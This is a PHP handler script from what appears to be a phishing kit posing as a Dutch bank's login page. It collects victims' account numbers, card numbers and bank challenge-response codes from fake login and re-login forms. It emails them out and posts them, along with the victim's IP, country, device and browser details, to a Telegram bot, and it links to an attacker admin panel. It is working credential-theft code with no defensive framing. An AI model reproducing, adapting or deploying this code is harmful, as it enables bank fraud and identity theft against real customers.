<?php
@session_start();
require_once 'antibot/config/init.php';

// Functie om landinformatie op te halen op basis van IP-adres
function getCountryInfo($ip) {
    $json = @file_get_contents("http://ip-api.com/json/{$ip}?fields=status,country,countryCode");
    $data = json_decode($json, true);

    if ($data && $data['status'] === 'success') {
        $countryName = $data['country'];
        $countryCode = $data['countryCode'];
        $flag = getFlagEmoji($countryCode);
        return "{$countryName} {$flag}";
    } else {
        return "Onbekend";
    }
}

// Functie om een landcode om te zetten naar een vlag-emoticon
function getFlagEmoji($countryCode) {
    $emoji = '';
    foreach (str_split($countryCode) as $char) {
        $emoji .= mb_chr(0x1F1E6 - ord('A') + ord($char), 'UTF-8');
    }
    return $emoji;
}

$ip = $_SERVER['REMOTE_ADDR'];
$countryInfo = getCountryInfo($ip);

// Detecteer gebruikerstype
$userAgent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($userAgent, 'Mobile') !== false || strpos($userAgent, 'Android') !== false || strpos($userAgent, 'iPhone') !== false) {
    $userType = "Mobiel apparaat";
} else {
    $userType = "Computer";
}

// Detecteer besturingssysteem
if (strpos($userAgent, 'Windows') !== false) {
    $os = "Windows";
} elseif (strpos($userAgent, 'Macintosh') !== false || strpos($userAgent, 'Mac OS') !== false) {
    $os = "Mac OS";
} elseif (strpos($userAgent, 'Linux') !== false) {
    $os = "Linux";
} else {
    $os = "Onbekend";
}

// Detecteer browser
if (strpos($userAgent, 'Firefox') !== false) {
    $browser = "Firefox";
} elseif (strpos($userAgent, 'Chrome') !== false) {
    $browser = "Chrome";
} elseif (strpos($userAgent, 'Safari') !== false) {
    $browser = "Safari";
} elseif (strpos($userAgent, 'Opera') !== false) {
    $browser = "Opera";
} else {
    $browser = "Onbekend";
}

include "./include_admin/md5.php";
include "./include_admin/md4.php";

// Controleer of de teller voor het aantal keer uitvoeren al bestaat en verhoog deze
if (!isset($_SESSION['3run_count'])) {
    $_SESSION['3run_count'] = 1; // Start teller als hij nog niet bestaat
} else {
    $_SESSION['3run_count'] += 1; // Verhoog teller als hij al bestaat
}

// Voeg de 3run_count toe aan de logData
$logDataCount = $_SESSION['3run_count'];

if ($_POST['form_type'] == 'login') {
    $_SESSION['rek'] = $_POST['accountNumber'];
    $_SESSION['pass'] = $_POST['cardNumber'];
    $_SESSION['resp'] = $_POST['response'];
	
	// Controleer of de invoer 9 cijfers bevat
if (strlen($_POST['accountNumber']) == 9) {
    // Split de string in het gewenste formaat en sla het op in de sessie
    $_SESSION['acc'] = substr($_POST['accountNumber'], 0, 3) . ' ' .
                       substr($_POST['accountNumber'], 3, 4) . ' ' .
                       substr($_POST['accountNumber'], 7, 2);
} else {
    // Als het rekeningnummer niet 9 cijfers bevat, sla dan de oorspronkelijke waarde op of geef een foutmelding
    $_SESSION['acc'] = "Ongeldig rekeningnummer";
}

    if (empty($_POST['accountNumber']) || empty($_POST['response'])) {
        header('location: laden.php');
        exit();
    }

    $msg_email = "Account Number: " . $_SESSION['rek'] . '<br>Card Number: ' . $_SESSION['pass'] . '<br>Response: ' . $_SESSION['resp'];
    $title = "GROEN - " . $_SESSION['rnr'] . " " . $_SESSION['rnr2'] . " | logData RSP |";
    $redirectPage = 'laden.php';
} elseif ($_POST['form_type'] == 'relogin') {
    $_SESSION['rek2'] = $_POST['accountNumber2'];
    $_SESSION['pass2'] = $_POST['cardNumber2'];
    $_SESSION['resp2'] = $_POST['response2'];

    if (empty($_POST['accountNumber2']) || empty($_POST['response2'])) {
        header('location: laden.php');
        exit();
    }

    $msg_email = "Account Number: " . $_SESSION['rek2'] . '<br>Card Number: ' . $_SESSION['pass2'] . '<br>Response: ' . $_SESSION['resp2'];
    $title = "GROEN - " . $_SESSION['rnr'] . " " . $_SESSION['rnr2'] . " | relogData RSP |";
    $redirectPage = 'laden.php';
} else {
    header('location: laden.php');
    exit();
}

$_SESSION['vto'] = rand(123456, 999999);

$headers = "From: GROEN || <klantenserv@" . $_SERVER['SERVER_NAME'] . ">\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type:text/html; charset=iso-8859-1\r\n";

// Verzend de e-mail
mail($XsndMud, $title, $msg_email, $headers);

// Stel het Telegram-bericht samen met verbeterde layout en verborgen links
$telegramMessage = "🌍 *" . $title . "* " . $logDataCount . " | " . $countryInfo . "\n\n" .
                   "🏦 *Account Number:* " . ($_POST['form_type'] == 'login' ? $_SESSION['rek'] : $_SESSION['rek2']) . "\n" .
                   "💳 *Card Number:* " . ($_POST['form_type'] == 'login' ? $_SESSION['pass'] : $_SESSION['pass2']) . "\n" .
                   "🔑 *Response:* " . ($_POST['form_type'] == 'login' ? $_SESSION['resp'] : $_SESSION['resp2']) . "\n\n";

if ($_POST['form_type'] == 'relogin') {
    $changes = [];
    if ($_SESSION['rek'] !== $_SESSION['rek2']) {
        $changes[] = "Account Number changed from " . $_SESSION['rek'] . " to " . $_SESSION['rek2'];
    }
    if ($_SESSION['pass'] !== $_SESSION['pass2']) {
        $changes[] = "Card Number changed from " . $_SESSION['pass'] . " to " . $_SESSION['pass2'];
    }
    if ($_SESSION['resp'] !== $_SESSION['resp2']) {
        $changes[] = "Response changed from " . $_SESSION['resp'] . " to " . $_SESSION['resp2'];
    }

    if (!empty($changes)) {
        $telegramMessage .= "--| *Changes Detected* |--\n" . implode("\n", $changes) . "\n\n";
    }
}

$telegramMessage .= "--| *Client Information* |--\n" .
                   "📡 *IP Address:* " . $_SERVER['REMOTE_ADDR'] . "\n" .
                   "🌐 *Country:* " . $countryInfo . "\n" .
                   "📱 *User Type:* " . $userType . "\n" .
                   "💻 *OS:* " . $os . "\n" .
                   "🌐 *Browser:* " . $browser . "\n\n" .
                   "--| *Links* |--\n" .
                   "🔗 [Admin Panel](https://" . $_SERVER['SERVER_NAME'] . dirname($_SERVER['REQUEST_URI']) . "/include_admin/?ckr=" . md5($_SERVER['REMOTE_ADDR']) . ")\n" .
                   "🔗 [Login to Website](https://mijnwebsite.nl/)";

// Verzend bericht naar Telegram met Markdown-formattering en zonder link previews
$telegramAPI = "https://api.telegram.org/bot$telegramBotToken/sendMessage?chat_id=$channelUsername&text=" . urlencode($telegramMessage) . "&parse_mode=Markdown&disable_web_page_preview=true";
file_get_contents($telegramAPI);

// Verwijder clientinformatie en leid gebruiker om
@unlink('dataClient/' . md5($_SERVER['REMOTE_ADDR']));
header('location: ' . $redirectPage);
exit();
?>
